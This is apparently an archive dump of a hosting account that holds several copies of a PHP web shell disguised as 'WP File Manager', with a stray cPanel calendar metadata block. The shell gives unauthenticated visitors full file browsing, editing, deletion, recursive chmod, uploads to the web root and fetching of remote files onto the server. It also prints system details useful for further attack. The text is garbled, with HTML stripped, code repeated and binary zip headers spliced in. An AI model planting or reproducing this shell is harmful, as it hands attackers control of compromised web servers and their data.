← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]hÛÍ}BB ardian@drsupernova.com/.metadatanu„[µü¤[addressbook] type VADDRESSBOOK protected 1 description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book [calendar] type VCALENDAR protected 1 description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar PK“&{]„N9³§Ë§Ëardian@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëardian@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
